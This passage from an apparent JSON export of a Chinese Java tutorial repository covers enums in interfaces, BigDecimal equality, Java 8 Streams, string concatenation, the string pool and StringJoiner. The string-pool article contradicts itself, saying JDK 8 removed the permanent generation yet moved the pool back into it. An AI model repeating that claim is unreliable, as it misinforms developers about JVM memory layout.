\n\n对于像阿里这种比较庞大的互联网公司，**随便提供出去的一个接口，可能有上百个调用方**，而接口升级也是常态，**我们根本做不到每次二方库升级之后要求所有调用者跟着一起升级**，这是完全不现实的，并且对于有些调用者来说，他用不到新特性，完全没必要做升级。\n\n还有一种看起来比较特殊，但是实际上比较常见的情况，就是有的时候一个接口的声明在A包中，而一些枚举常量定义在B包中，比较常见的就是阿里的交易相关的信息，订单分很多层次，每次引入一个包的同时都需要引入几十个包。\n\n对于调用者来说，我肯定是不希望我的系统引入太多的依赖的，**一方面依赖多了会导致应用的编译过程很慢，并且很容易出现依赖冲突问题。**\n\n所以，在调用下游接口的时候，如果参数中字段的类型是枚举的话，那我没办法，必须得依赖他的二方库。但是如果不是枚举，只是一个字符串，那我就可以选择不依赖。\n\n所以，我们在定义接口的时候，会尽量避免使用枚举这种强类型。规范中规定在返回值中不允许使用，而我自己要求更高，就是即使在接口的入参中我也很少使用。\n\n最后，我只是不建议在对外提供的接口的出入参中使用枚举，并不是说彻底不要用枚举，我之前很多文章也提到过，枚举有很多好处，我在代码中也经常使用。所以，切不可因噎废食。\n\n当然，文中的观点仅代表我个人，具体是是不是适用其他人，其他场景或者其他公司的实践，需要读者们自行分辨下，建议大家在使用的时候可以多思考一下。\n\n [1]: https://www.hollischuang.com/wp-content/uploads/2020/11/16066271055035-scaled.jpg"
  },
  {
    "path": "docs/basics/java-basic/stop-using-equlas-in-bigdecimal.md",
    "content": "BigDecimal，相信对于很多人来说都不陌生，很多人都知道他的用法，这是一种java.math包中提供的一种可以用来进行精确运算的类型。\n\n很多人都知道，在进行金额表示、金额计算等场景，不能使用double、float等类型，而是要使用对精度支持的更好的BigDecimal。\n\n所以，很多支付、电商、金融等业务中，BigDecimal的使用非常频繁。而且不得不说这是一个非常好用的类，其内部自带了很多方法，如加，减，乘，除等运算方法都是可以直接调用的。\n\n除了需要用BigDecimal表示数字和进行数字运算以外，代码中还经常需要对于数字进行相等判断。\n\n关于这个知识点，在最新版的《阿里巴巴Java开发手册》中也有说明：\n\n![][1]\n\n这背后的思考是什么呢？\n\n我在之前的CodeReview中，看到过以下这样的低级错误：\n\n    if(bigDecimal == bigDecimal1){\n        // 两个数相等\n    }\n    \n\n这种错误，相信聪明的读者一眼就可以看出问题，**因为BigDecimal是对象，所以不能用`==`来判断两个数字的值是否相等。**\n\n以上这种问题，在有一定的经验之后，还是可以避免的，但是聪明的读者，看一下以下这行代码，你觉得他有问题吗：\n\n    if(bigDecimal.equals(bigDecimal1)){\n        // 两个数相等\n    }\n    \n\n可以明确的告诉大家，以上这种写法，可能得到的结果和你预想的不一样！\n\n先来做个实验，运行以下代码：\n\n    BigDecimal bigDecimal = new BigDecimal(1);\n    BigDecimal bigDecimal1 = new BigDecimal(1);\n    System.out.println(bigDecimal.equals(bigDecimal1));\n    \n    \n    BigDecimal bigDecimal2 = new BigDecimal(1);\n    BigDecimal bigDecimal3 = new BigDecimal(1.0);\n    System.out.println(bigDecimal2.equals(bigDecimal3));\n    \n    \n    BigDecimal bigDecimal4 = new BigDecimal(\"1\");\n    BigDecimal bigDecimal5 = new BigDecimal(\"1.0\");\n    System.out.println(bigDecimal4.equals(bigDecimal5));\n    \n\n以上代码，输出结果为：\n\n    true\n    true\n    false\n    \n\n### BigDecimal的equals原理\n\n通过以上代码示例，我们发现，在使用BigDecimal的equals方法对1和1.0进行比较的时候，有的时候是true（当使用int、double定义BigDecimal时），有的时候是false（当使用String定义BigDecimal时）。\n\n那么，为什么会出现这样的情况呢，我们先来看下BigDecimal的equals方法。\n\n在BigDecimal的JavaDoc中其实已经解释了其中原因：\n\n    Compares this  BigDecimal with the specified Object for equality.  Unlike compareTo, this method considers two BigDecimal objects equal only if they are equal in value and scale (thus 2.0 is not equal to 2.00 when compared by  this method)\n    \n\n大概意思就是，**equals方法和compareTo并不一样，equals方法会比较两部分内容，分别是值（value）和标度（scale）**\n\n\n对应的代码如下：\n\n![][2]\n\n所以，我们以上代码定义出来的两个BigDecimal对象（bigDecimal4和bigDecimal5）的标度是不一样的，所以使用equals比较的结果就是false了。\n\n尝试着对代码进行debug，在debug的过程中我们也可以看到bigDecimal4的标度时0，而bigDecimal5的标度是1。\n\n![][3]\n\n到这里，我们大概解释清楚了，之所以equals比较bigDecimal4和bigDecimal5的结果是false，是因为标度不同。\n\n那么，为什么标度不同呢？为什么bigDecimal2和bigDecimal3的标度是一样的（当使用int、double定义BigDecimal时），而bigDecimal4和bigDecimal5却不一样（当使用String定义BigDecimal时）呢？\n\n### 为什么标度不同\n\n这个就涉及到BigDecimal的标度问题了，这个问题其实是比较复杂的，由于不是本文的重点，这里面就简单介绍一下吧。大家感兴趣的话，后面单独讲。\n\n首先，BigDecimal一共有以下4个构造方法：\n\n    BigDecimal(int)\n    BigDecimal(double) \n    BigDecimal(long) \n    BigDecimal(String)\n    \n\n以上四个方法，创建出来的的BigDecimal的标度是不同的。\n\n#### BigDecimal(long) 和BigDecimal(int)\n\n首先，最简单的就是**BigDecimal(long) 和BigDecimal(int)，因为是整数，所以标度就是0** ：\n\n    public BigDecimal(int val) {\n        this.intCompact = val;\n        this.scale = 0;\n        this.intVal = null;\n    }\n    \n    public BigDecimal(long val) {\n        this.intCompact = val;\n        this.intVal = (val == INFLATED) ? INFLATED_BIGINT : null;\n        this.scale = 0;\n    }\n    \n\n#### BigDecimal(double)\n\n而对于BigDecimal(double) ，**当我们使用new BigDecimal(0.1)创建一个BigDecimal 的时候，其实创建出来的值并不是整好等于0.1的，而是0.1000000000000000055511151231257827021181583404541015625 。这是因为doule自身表示的只是一个近似值。**\n\n那么，无论我们使用new BigDecimal(0.1)还是new BigDecimal(0.10)定义，他的近似值都是0.1000000000000000055511151231257827021181583404541015625这个，那么他的标度就是这个数字的位数，即55。\n\n![][4]\n\n其他的浮点数也同样的道理。对于new BigDecimal(1.0)这样的形式来说，因为他本质上也是个整数，所以他创建出来的数字的标度就是0。\n\n所以，因为BigDecimal(1.0)和BigDecimal(1.00)的标度是一样的，所以在使用equals方法比较的时候，得到的结果就是true。\n\n#### BigDecimal(string)\n\n而对于BigDecimal(double) ，**当我们使用new BigDecimal(\"0.1\")创建一个BigDecimal 的时候，其实创建出来的值正好就是等于0.1的。那么他的标度也就是1。**\n\n如果使用new BigDecimal(\"0.10000\")，那么创建出来的数就是0.10000，标度也就是5。\n\n所以，因为BigDecimal(\"1.0\")和BigDecimal(\"1.00\")的标度不一样，所以在使用equals方法比较的时候，得到的结果就是false。\n\n### 如何比较BigDecimal\n\n前面，我们解释了BigDecimal的equals方法，其实不只是会比较数字的值，还会对其标度进行比较。\n\n所以，当我们使用equals方法判断判断两个数是否相等的时候，是极其严格的。\n\n那么，如果我们只想判断两个BigDecimal的值是否相等，那么该如何判断呢？\n\n**BigDecimal中提供了compareTo方法，这个方法就可以只比较两个数字的值，如果两个数相等，则返回0。**\n\n        BigDecimal bigDecimal4 = new BigDecimal(\"1\");\n        BigDecimal bigDecimal5 = new BigDecimal(\"1.0000\");\n        System.out.println(bigDecimal4.compareTo(bigDecimal5));\n    \n\n以上代码，输出结果：\n\n    0\n    \n\n其源码如下：\n\n![][5]\n\n### 总结\n\nBigDecimal是一个非常好用的表示高精度数字的类，其中提供了很多丰富的方法。\n\n但是，他的equals方法使用的时候需要谨慎，因为他在比较的时候，不仅比较两个数字的值，还会比较他们的标度，只要这两个因素有一个是不相等的，那么结果也是false、\n\n如果读者想要对两个BigDecimal的数值进行比较的话，可以使用compareTo方法。\n\n\n [1]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004945569932.jpg\n [2]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004955317132.jpg\n [3]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004956382289.jpg\n [4]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004965161081.jpg\n [5]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004972460075.jpg\n [6]: https://www.hollischuang.com/wp-content/uploads/2020/09/16004976158870.jpg"
  },
  {
    "path": "docs/basics/java-basic/stream.md",
    "content": "在Java中，集合和数组是我们经常会用到的数据结构，需要经常对他们做增、删、改、查、聚合、统计、过滤等操作。相比之下，关系型数据库中也同样有这些操作，但是在Java 8之前，集合和数组的处理并不是很便捷。\n\n不过，这一问题在Java 8中得到了改善，Java 8 API添加了一个新的抽象称为流Stream，可以让你以一种声明的方式处理数据。本文就来介绍下如何使用Stream。特别说明一下，关于Stream的性能及原理不是本文的重点，如果大家感兴趣后面会出文章单独介绍。\n\n### Stream介绍\n\nStream 使用一种类似用 SQL 语句从数据库查询数据的直观方式来提供一种对 Java 集合运算和表达的高阶抽象。\n\nStream API可以极大提高Java程序员的生产力，让程序员写出高效率、干净、简洁的代码。\n\n这种风格将要处理的元素集合看作一种流，流在管道中传输，并且可以在管道的节点上进行处理，比如筛选，排序，聚合等。\n\nStream有以下特性及优点：\n\n*   无存储。Stream不是一种数据结构，它只是某种数据源的一个视图，数据源可以是一个数组，Java容器或I/O channel等。\n*   为函数式编程而生。对Stream的任何修改都不会修改背后的数据源，比如对Stream执行过滤操作并不会删除被过滤的元素，而是会产生一个不包含被过滤元素的新Stream。\n*   惰式执行。Stream上的操作并不会立即执行，只有等到用户真正需要结果的时候才会执行。\n*   可消费性。Stream只能被“消费”一次，一旦遍历过就会失效，就像容器的迭代器那样，想要再次遍历必须重新生成。\n\n我们举一个例子，来看一下到底Stream可以做什么事情：\n\n![][1]￼\n\n上面的例子中，获取一些带颜色塑料球作为数据源，首先过滤掉红色的、把它们融化成随机的三角形。再过滤器并删除小的三角形。最后计算出剩余图形的周长。\n\n如上图，对于流的处理，主要有三种关键性操作：分别是流的创建、中间操作（intermediate operation）以及最终操作(terminal operation)。\n\n### Stream的创建\n\n在Java 8中，可以有多种方法来创建流。\n\n**1、通过已有的集合来创建流**\n\n在Java 8中，除了增加了很多Stream相关的类以外，还对集合类自身做了增强，在其中增加了stream方法，可以将一个集合类转换成流。\n\n    List<String> strings = Arrays.asList(\"Hollis\", \"HollisChuang\", \"hollis\", \"Hello\", \"HelloWorld\", \"Hollis\");\n    Stream<String> stream = strings.stream();\n    \n\n以上，通过一个已有的List创建一个流。除此以外，还有一个parallelStream方法，可以为集合创建一个并行流。\n\n这种通过集合创建出一个Stream的方式也是比较常用的一种方式。\n\n**2、通过Stream创建流**\n\n可以使用Stream类提供的方法，直接返回一个由指定元素组成的流。\n\n    Stream<String> stream = Stream.of(\"Hollis\", \"HollisChuang\", \"hollis\", \"Hello\", \"HelloWorld\", \"Hollis\");\n    \n\n如以上代码，直接通过of方法，创建并返回一个Stream。\n\n### Stream中间操作\n\nStream有很多中间操作，多个中间操作可以连接起来形成一个流水线，每一个中间操作就像流水线上的一个工人，每人工人都可以对流进行加工，加工后得到的结果还是一个流。\n\n![][2]￼\n\n以下是常用的中间操作列表:\n\n![][3]￼\n\n**filter**\n\nfilter 方法用于通过设置的条件过滤出元素。以下代码片段使用 filter 方法过滤掉空字符串：\n\n    List<String> strings = Arrays.asList(\"Hollis\", \"\", \"HollisChuang\", \"H\", \"hollis\");\n    strings.stream().filter(string -> !string.isEmpty()).forEach(System.out::println);\n    //Hollis, HollisChuang, H, hollis\n    \n\n**map**\n\nmap 方法用于映射每个元素到对应的结果，以下代码片段使用 map 输出了元素对应的平方数：\n\n    List<Integer> numbers = Arrays.asList(3, 2, 2, 3, 7, 3, 5);\n    numbers.stream().map(i -> i*i).forEach(System.out::println);\n    //9,4,4,9,49,9,25\n    \n\n**limit/skip**\n\nlimit 返回 Stream 的前面 n 个元素；skip 则是扔掉前 n 个元素。以下代码片段使用 limit 方法保留4个元素：\n\n    List<Integer> numbers = Arrays.asList(3, 2, 2, 3, 7, 3, 5);\n    numbers.stream().limit(4).forEach(System.out::println);\n    //3,2,2,3\n    \n\n**sorted**\n\nsorted 方法用于对流进行排序。以下代码片段使用 sorted 方法进行排序：\n\n    List<Integer> numbers = Arrays.asList(3, 2, 2, 3, 7, 3, 5);\n    numbers.stream().sorted().forEach(System.out::println);\n    //2,2,3,3,3,5,7\n    \n\n**distinct**\n\ndistinct主要用来去重，以下代码片段使用 distinct 对元素进行去重：\n\n    List<Integer> numbers = Arrays.asList(3, 2, 2, 3, 7, 3, 5);\n    numbers.stream().distinct().forEach(System.out::println);\n    //3,2,7,5\n    \n\n接下来我们通过一个例子和一张图，来演示下，当一个Stream先后通过filter、map、sort、limit以及distinct处理后会发生什么。\n\n代码如下：\n\n    List<String> strings = Arrays.asList(\"Hollis\", \"HollisChuang\", \"hollis\", \"Hello\", \"HelloWorld\", \"Hollis\");\n    Stream s = strings.stream().filter(string -> string.length()<= 6).map(String::length).sorted().limit(3)\n                .distinct();\n    \n\n过程及每一步得到的结果如下图：\n\n![][4]￼\n\n### Stream最终操作\n\nStream的中间操作得到的结果还是一个Stream，那么如何把一个Stream转换成我们需要的类型呢？比如计算出流中元素的个数、将流转换成集合等。这就需要最终操作（terminal operation）\n\n最终操作会消耗流，产生一个最终结果。也就是说，在最终操作之后，不能再次使用流，也不能再使用任何中间操作，否则将抛出异常：\n\n    java.lang.IllegalStateException: stream has already been operated upon or closed\n    \n\n俗话说，“你永远不会两次踏入同一条河”也正是这个意思。\n\n常用的最终操作如下图：\n\n![][5]￼\n\n**forEach**\n\nStream 提供了方法 'forEach' 来迭代流中的每个数据。以下代码片段使用 forEach 输出了10个随机数：\n\n    Random random = new Random();\n    random.ints().limit(10).forEach(System.out::println);\n    \n\n**count**\n\ncount用来统计流中的元素个数。\n\n    List<String> strings = Arrays.asList(\"Hollis\", \"HollisChuang\", \"hollis\", \"Hollis666\", \"Hello\", \"HelloWorld\", \"Hollis\");\n    System.out.println(strings.stream().count());\n    //7\n    \n\n**collect**\n\ncollect就是一个归约操作，可以接受各种做法作为参数，将流中的元素累积成一个汇总结果：\n\n    List<String> strings = Arrays.asList(\"Hollis\", \"HollisChuang\", \"hollis\",\"Hollis666\", \"Hello\", \"HelloWorld\", \"Hollis\");\n    strings  = strings.stream().filter(string -> string.startsWith(\"Hollis\")).collect(Collectors.toList());\n    System.out.println(strings);\n    //Hollis, HollisChuang, Hollis666, Hollis\n    \n\n接下来，我们还是使用一张图，来演示下，前文的例子中，当一个Stream先后通过filter、map、sort、limit以及distinct处理后，在分别使用不同的最终操作可以得到怎样的结果：\n\n下图，展示了文中介绍的所有操作的位置、输入、输出以及使用一个案例展示了其结果。 ![][6]￼\n\n### 总结\n\n本文介绍了Java 8中的Stream 的用途，优点等。还介绍了Stream的几种用法，分别是Stream创建、中间操作和最终操作。\n\nStream的创建有两种方式，分别是通过集合类的stream方法、通过Stream的of方法。\n\nStream的中间操作可以用来处理Stream，中间操作的输入和输出都是Stream，中间操作可以是过滤、转换、排序等。\n\nStream的最终操作可以将Stream转成其他形式，如计算出流中元素的个数、将流转换成集合、以及元素的遍历等。\n\n [1]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521192454583.jpg\n [2]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521194075219.jpg\n [3]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521194556484.jpg\n [4]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521242025506.jpg\n [5]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521194606851.jpg\n [6]: https://www.hollischuang.com/wp-content/uploads/2019/03/15521245463720.jpg\n"
  },
  {
    "path": "docs/basics/java-basic/string-append.md",
    "content": "Java中，想要拼接字符串，最简单的方式就是通过\"+\"连接两个字符串。\n\n有人把Java中使用+拼接字符串的功能理解为运算符重载。其实并不是，Java是不支持运算符重载的。这其实只是Java提供的一个语法糖。\n\n>运算符重载：在计算机程序设计中，运算符重载（英语：operator overloading）是多态的一种。运算符重载，就是对已有的运算符重新进行定义，赋予其另一种功能，以适应不同的数据类型。\n\n>语法糖：语法糖（Syntactic sugar），也译为糖衣语法，是由英国计算机科学家彼得·兰丁发明的一个术语，指计算机语言中添加的某种语法，这种语法对语言的功能没有影响，但是更方便程序员使用。语法糖让程序更加简洁，有更高的可读性。\n\n前面提到过，使用+拼接字符串，其实只是Java提供的一个语法糖， 那么，我们就来解一解这个语法糖，看看他的内部原理到底是如何实现的。\n\n还是这样一段代码。我们把他生成的字节码进行反编译，看看结果。\n\n    String wechat = \"Hollis\";\n    String introduce = \"每日更新Java相关技术文章\";\n    String hollis = wechat + \",\" + introduce;\n    \n反编译后的内容如下，反编译工具为jad。\n\n    String wechat = \"Hollis\";\n    String introduce = \"\\u6BCF\\u65E5\\u66F4\\u65B0Java\\u76F8\\u5173\\u6280\\u672F\\u6587\\u7AE0\";//每日更新Java相关技术文章\n    String hollis = (new StringBuilder()).append(wechat).append(\",\").append(introduce).toString();\n\n通过查看反编译以后的代码，我们可以发现，原来字符串常量在拼接过程中，是将String转成了StringBuilder后，使用其append方法进行处理的。\n\n那么也就是说，Java中的+对字符串的拼接，其实现原理是使用StringBuilder.append。\n\n但是，String的使用+字符串拼接也不全都是基于StringBuilder.append，还有种特殊情况，那就是如果是两个固定的字面量拼接，如：\n\n    String s = \"a\" + \"b\"\n\n编译器会进行常量折叠(因为两个都是编译期常量，编译期可知)，直接变成 String s = \"ab\"。\n"
  },
  {
    "path": "docs/basics/java-basic/string-concat.md",
    "content": "字符串，是Java中最常用的一个数据类型了。\n\n本文，也是对于Java中字符串相关知识的一个补充，主要来介绍一下字符串拼接相关的知识。本文基于jdk1.8.0_181。\n\n### 字符串拼接 \n\n字符串拼接是我们在Java代码中比较经常要做的事情，就是把多个字符串拼接到一起。\n\n我们都知道，**String是Java中一个不可变的类**，所以他一旦被实例化就无法被修改。\n\n> 不可变类的实例一旦创建，其成员变量的值就不能被修改。这样设计有很多好处，比如可以缓存hashcode、使用更加便利以及更加安全等。\n\n但是，既然字符串是不可变的，那么字符串拼接又是怎么回事呢？\n\n**字符串不变性与字符串拼接**\n\n其实，所有的所谓字符串拼接，都是重新生成了一个新的字符串。下面一段字符串拼接代码：\n\n    String s = \"abcd\";\n    s = s.concat(\"ef\");\n\n其实最后我们得到的s已经是一个新的字符串了。如下图\n\n![][8]￼\n\ns中保存的是一个重新创建出来的String对象的引用。\n\n那么，在Java中，到底如何进行字符串拼接呢？字符串拼接有很多种方式，这里简单介绍几种比较常用的。\n\n**使用`+`拼接字符串**\n\n在Java中，拼接字符串最简单的方式就是直接使用符号`+`来拼接。如：\n\n    String wechat = \"Hollis\";\n    String introduce = \"每日更新Java相关技术文章\";\n    String hollis = wechat + \",\" + introduce;\n\n**concat**  \n除了使用`+`拼接字符串之外，还可以使用String类中的方法concat方法来拼接字符串。如：\n\n    String wechat = \"Hollis\";\n    String introduce = \"每日更新Java相关技术文章\";\n    String hollis = wechat.concat(\",\").concat(introduce);\n\n\n**StringBuffer**\n\n关于字符串，Java中除了定义了一个可以用来定义**字符串常量**的`String`类以外，还提供了可以用来定义**字符串变量**的`StringBuffer`类，它的对象是可以扩充和修改的。\n\n使用`StringBuffer`可以方便的对字符串进行拼接。如：\n\n    StringBuffer wechat = new StringBuffer(\"Hollis\");\n    String introduce = \"每日更新Java相关技术文章\";\n    StringBuffer hollis = wechat.append(\",\").append(introduce);\n\n\n**StringBuilder**  \n除了`StringBuffer`以外，还有一个类`StringBuilder`也可以使用，其用法和`StringBuffer`类似。如：\n\n    StringBuilder wechat = new StringBuilder(\"Hollis\");\n    String introduce = \"每日更新Java相关技术文章\";\n    StringBuilder hollis = wechat.append(\",\").append(introduce);\n\n**StringUtils.join**  \n除了JDK中内置的字符串拼接方法，还可以使用一些开源类库中提供的字符串拼接方法名，如`apache.commons中`提供的`StringUtils`类，其中的`join`方法可以拼接字符串。\n\n    String wechat = \"Hollis\";\n    String introduce = \"每日更新Java相关技术文章\";\n    System.out.println(StringUtils.join(wechat, \",\", introduce));\n    \n\n这里简单说一下，StringUtils中提供的join方法，最主要的功能是：将数组或集合以某拼接符拼接到一起形成新的字符串，如：\n\n    String []list  ={\"Hollis\",\"每日更新Java相关技术文章\"};\n    String result= StringUtils.join(list,\",\");\n    System.out.println(result);\n    //结果：Hollis,每日更新Java相关技术文章\n    \n\n并且，Java8中的String类中也提供了一个静态的join方法，用法和StringUtils.join类似。\n\n以上就是比较常用的五种在Java种拼接字符串的方式，那么到底哪种更好用呢？为什么阿里巴巴Java开发手册中不建议在循环体中使用`+`进行字符串拼接呢？\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2019/01/15472850170230.jpg\" alt=\"\" style=\"width:917px\" />￼\n\n(阿里巴巴Java开发手册中关于字符串拼接的规约)\n\n### 使用`+`拼接字符串的实现原理\n\n关于这个知识点，前面的章节介绍过，主要是通过StringBuilder的append方法实现的。\n\n### concat是如何实现的\n\n我们再来看一下concat方法的源代码，看一下这个方法又是如何实现的。\n\n    public String concat(String str) {\n        int otherLen = str.length();\n        if (otherLen == 0) {\n            return this;\n        }\n        int len = value.length;\n        char buf[] = Arrays.copyOf(value, len + otherLen);\n        str.getChars(buf, len);\n        return new String(buf, true);\n    }\n\n\n这段代码首先创建了一个字符数组，长度是已有字符串和待拼接字符串的长度之和，再把两个字符串的值复制到新的字符数组中，并使用这个字符数组创建一个新的String对象并返回。\n\n通过源码我们也可以看到，经过concat方法，其实是new了一个新的String，这也就呼应到前面我们说的字符串的不变性问题上了。\n\n### StringBuffer和StringBuilder\n\n接下来我们看看`StringBuffer`和`StringBuilder`的实现原理。\n\n和`String`类类似，`StringBuilder`类也封装了一个字符数组，定义如下：\n\n    char[] value;\n\n\n与`String`不同的是，它并不是`final`的，所以他是可以修改的。另外，与`String`不同，字符数组中不一定所有位置都已经被使用，它有一个实例变量，表示数组中已经使用的字符个数，定义如下：\n\n    int count;\n\n\n其append源码如下：\n\n    public StringBuilder append(String str) {\n        super.append(str);\n        return this;\n    }\n\n\n该类继承了`AbstractStringBuilder`类，看下其`append`方法：\n\n    public AbstractStringBuilder append(String str) {\n        if (str == null)\n            return appendNull();\n        int len = str.length();\n        ensureCapacityInternal(count + len);\n        str.getChars(0, len, value, count);\n        count += len;\n        return this;\n    }\n\n\nappend会直接拷贝字符到内部的字符数组中，如果字符数组长度不够，会进行扩展。\n\n`StringBuffer`和`StringBuilder`类似，最大的区别就是`StringBuffer`是线程安全的，看一下`StringBuffer`的`append`方法。\n\n    public synchronized StringBuffer append(String str) {\n        toStringCache = null;\n        super.append(str);\n        return this;\n    }\n\n\n该方法使用`synchronized`进行声明，说明是一个线程安全的方法。而`StringBuilder`则不是线程安全的。\n\n### StringUtils.join是如何实现的\n\n通过查看`StringUtils.join`的源代码，我们可以发现，其实他也是通过`StringBuilder`来实现的。\n\n    public static String join(final Object[] array, String separator, final int startIndex, final int endIndex) {\n        if (array == null) {\n            return null;\n        }\n        if (separator == null) {\n            separator = EMPTY;\n        }\n    \n        // endIndex - startIndex &gt; 0:   Len = NofStrings *(len(firstString) + len(separator))\n        //           (Assuming that all Strings are roughly equally long)\n        final int noOfItems = endIndex - startIndex;\n        if (noOfItems &lt;= 0) {\n            return EMPTY;\n        }\n    \n        final StringBuilder buf = new StringBuilder(noOfItems * 16);\n    \n        for (int i = startIndex; i &lt; endIndex; i++) {\n            if (i &gt; startIndex) {\n                buf.append(separator);\n            }\n            if (array[i] != null) {\n                buf.append(array[i]);\n            }\n        }\n        return buf.toString();\n    }\n\n\n### 效率比较\n\n既然有这么多种字符串拼接的方法，那么到底哪一种效率最高呢？我们来简单对比一下。\n\n    long t1 = System.currentTimeMillis();\n    //这里是初始字符串定义\n    for (int i = 0; i &lt; 50000; i++) {\n        //这里是字符串拼接代码\n    }\n    long t2 = System.currentTimeMillis();\n    System.out.println(\"cost:\" + (t2 - t1));\n\n\n我们使用形如以上形式的代码，分别测试下五种字符串拼接代码的运行时间。得到结果如下：\n\n    + cost:5119\n    StringBuilder cost:3\n    StringBuffer cost:4\n    concat cost:3623\n    StringUtils.join cost:25726\n\n\n从结果可以看出，用时从短到长的对比是：\n\n`StringBuilder`<`StringBuffer`<`concat`<`+`<`StringUtils.join`\n\n`StringBuffer`在`StringBuilder`的基础上，做了同步处理，所以在耗时上会相对多一些。\n\nStringUtils.join也是使用了StringBuilder，并且其中还是有很多其他操作，所以耗时较长，这个也容易理解。其实StringUtils.join更擅长处理字符串数组或者列表的拼接。\n\n那么问题来了，前面我们分析过，其实使用`+`拼接字符串的实现原理也是使用的`StringBuilder`，那为什么结果相差这么多，高达1000多倍呢？\n\n我们再把以下代码反编译下：\n\n    long t1 = System.currentTimeMillis();\n    String str = \"hollis\";\n    for (int i = 0; i &lt; 50000; i++) {\n        String s = String.valueOf(i);\n        str += s;\n    }\n    long t2 = System.currentTimeMillis();\n    System.out.println(\"+ cost:\" + (t2 - t1));\n    \n\n反编译后代码如下：\n\n    long t1 = System.currentTimeMillis();\n    String str = \"hollis\";\n    for(int i = 0; i &lt; 50000; i++)\n    {\n        String s = String.valueOf(i);\n        str = (new StringBuilder()).append(str).append(s).toString();\n    }\n    \n    long t2 = System.currentTimeMillis();\n    System.out.println((new StringBuilder()).append(\"+ cost:\").append(t2 - t1).toString());\n\n\n我们可以看到，反编译后的代码，在`for`循环中，每次都是`new`了一个`StringBuilder`，然后再把`String`转成`StringBuilder`，再进行`append`。\n\n而频繁的新建对象当然要耗费很多时间了，不仅仅会耗费时间，频繁的创建对象，还会造成内存资源的浪费。\n\n所以，阿里巴巴Java开发手册建议：循环体内，字符串的连接方式，使用 `StringBuilder` 的 `append` 方法进行扩展。而不要使用`+`。\n\n### 总结 \n\n本文介绍了什么是字符串拼接，虽然字符串是不可变的，但是还是可以通过新建字符串的方式来进行字符串的拼接。\n\n常用的字符串拼接方式有五种，分别是使用`+`、使用`concat`、使用`StringBuilder`、使用`StringBuffer`以及使用`StringUtils.join`。\n\n由于字符串拼接过程中会创建新的对象，所以如果要在一个循环体中进行字符串拼接，就要考虑内存问题和效率问题。\n\n因此，经过对比，我们发现，直接使用`StringBuilder`的方式是效率最高的。因为`StringBuilder`天生就是设计来定义可变字符串和字符串的变化操作的。\n\n但是，还要强调的是：\n\n1、如果不是在循环体中进行字符串拼接的话，直接使用`+`就好了。\n\n2、如果在并发场景中进行字符串拼接的话，要使用`StringBuffer`来代替`StringBuilder`。\n\n [1]: http://www.hollischuang.com/archives/99\n [2]: http://www.hollischuang.com/archives/1249\n [3]: http://www.hollischuang.com/archives/2517\n [4]: http://www.hollischuang.com/archives/1230\n [5]: http://www.hollischuang.com/archives/1246\n [6]: http://www.hollischuang.com/archives/1232\n [7]: http://www.hollischuang.com/archives/61\n [8]: https://www.hollischuang.com/wp-content/uploads/2019/01/15472897908391.jpg"
  },
  {
    "path": "docs/basics/java-basic/string-pool.md",
    "content": "字符串大家一定都不陌生，他是我们非常常用的一个类。\n \nString作为一个Java类，可以通过以下两种方式创建一个字符串：\n \n \n    String str = \"Hollis\";\n    \n    String str = new String(\"Hollis\")；\n    \n \n而第一种是我们比较常用的做法，这种形式叫做\"字面量\"。\n \n在JVM中，为了减少相同的字符串的重复创建，为了达到节省内存的目的。会单独开辟一块内存，用于保存字符串常量，这个内存区域被叫做字符串常量池。\n \n当代码中出现双引号形式（字面量）创建字符串对象时，JVM 会先对这个字符串进行检查，如果字符串常量池中存在相同内容的字符串对象的引用，则将这个引用返回；否则，创建新的字符串对象，然后将这个引用放入字符串常量池，并返回该引用。\n \n这种机制，就是字符串驻留或池化。\n \n\n### 字符串常量池的位置\n\n在JDK 7以前的版本中，字符串常量池是放在永久代中的。\n\n因为按照计划，JDK会在后续的版本中通过元空间来代替永久代，所以首先在JDK 7中，将字符串常量池先从永久代中移出，暂时放到了堆内存中。\n\n在JDK 8中，彻底移除了永久代，使用元空间替代了永久代，于是字符串常量池再次从堆内存移动到永久代中"
  },
  {
    "path": "docs/basics/java-basic/stringjoiner-in-java8.md",
    "content": "在上一节中，我们介绍了几种Java中字符串拼接的方式，以及优缺点。其中还有一个重要的拼接方式我没有介绍，那就是Java 8中提供的StringJoiner ，本文就来介绍一下这个字符串拼接的新兵。\n\n如果你想知道一共有多少种方法可以进行字符串拼接，教你一个简单的办法，在Intellij IDEA中，定义一个Java Bean，然后尝试使用快捷键自动生成一个toString方法，IDEA会提示多种toString生成策略可供选择。\n\n![][2]￼\n\n目前我使用的IDEA的toString生成策略默认的是使用JDK 1.8提供的StringJoiner。\n\n### 介绍\n\nStringJoiner是java.util包中的一个类，用于构造一个由分隔符分隔的字符序列（可选），并且可以从提供的前缀开始并以提供的后缀结尾。虽然这也可以在StringBuilder类的帮助下在每个字符串之后附加分隔符，但StringJoiner提供了简单的方法来实现，而无需编写大量代码。\n\nStringJoiner类共有2个构造函数，5个公有方法。其中最常用的方法就是add方法和toString方法，类似于StringBuilder中的append方法和toString方法。\n\n### 用法\n\nStringJoiner的用法比较简单，下面的代码中，我们使用StringJoiner进行了字符串拼接。\n\n    public class StringJoinerTest {\n    \n        public static void main(String[] args) {\n            StringJoiner sj = new StringJoiner(\"Hollis\");\n    \n            sj.add(\"hollischuang\");\n            sj.add(\"Java干货\");\n            System.out.println(sj.toString());\n    \n            StringJoiner sj1 = new StringJoiner(\":\",\"[\",\"]\");\n    \n            sj1.add(\"Hollis\").add(\"hollischuang\").add(\"Java干货\");\n            System.out.println(sj1.toString());\n        }\n    }\n    \n\n以上代码输出结果：\n\n    hollischuangHollisJava干货\n    [Hollis:hollischuang:Java干货]\n    \n\n值得注意的是，当我们`StringJoiner(CharSequence delimiter)`初始化一个`StringJoiner`的时候，这个`delimiter`其实是分隔符，并不是可变字符串的初始值。\n\n`StringJoiner(CharSequence delimiter,CharSequence prefix,CharSequence suffix)`的第二个和第三个参数分别是拼接后的字符串的前缀和后缀。\n\n### 